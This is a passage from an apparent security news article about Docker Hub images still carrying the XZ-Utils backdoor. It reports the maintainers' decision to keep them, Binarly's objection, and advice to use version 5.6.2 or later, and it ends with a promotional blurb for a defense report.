intentionally opted not to remove these images from Docker Hub and to leave them as historical artifacts, telling users to only use up-to-date images and not old ones. The maintainers made this decision as they believe the requirements for exploitation are unlikely, such as requiring sshd installed and running on the container, the attacker having network access to the SSH service on that container, and using a private key that matches the backdoor's trigger logic. Binarly expresses disagreement with this approach, underlining that merely making these images accessible to the public poses a significant risk from accidental pulls or use in automated builds. The same applies to all images that may contain a compromised version of the XZ-Utils backdoor, so users should manually check and ensure the library is on version 5.6.2 or later (the latest stable is 5.8.1). Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report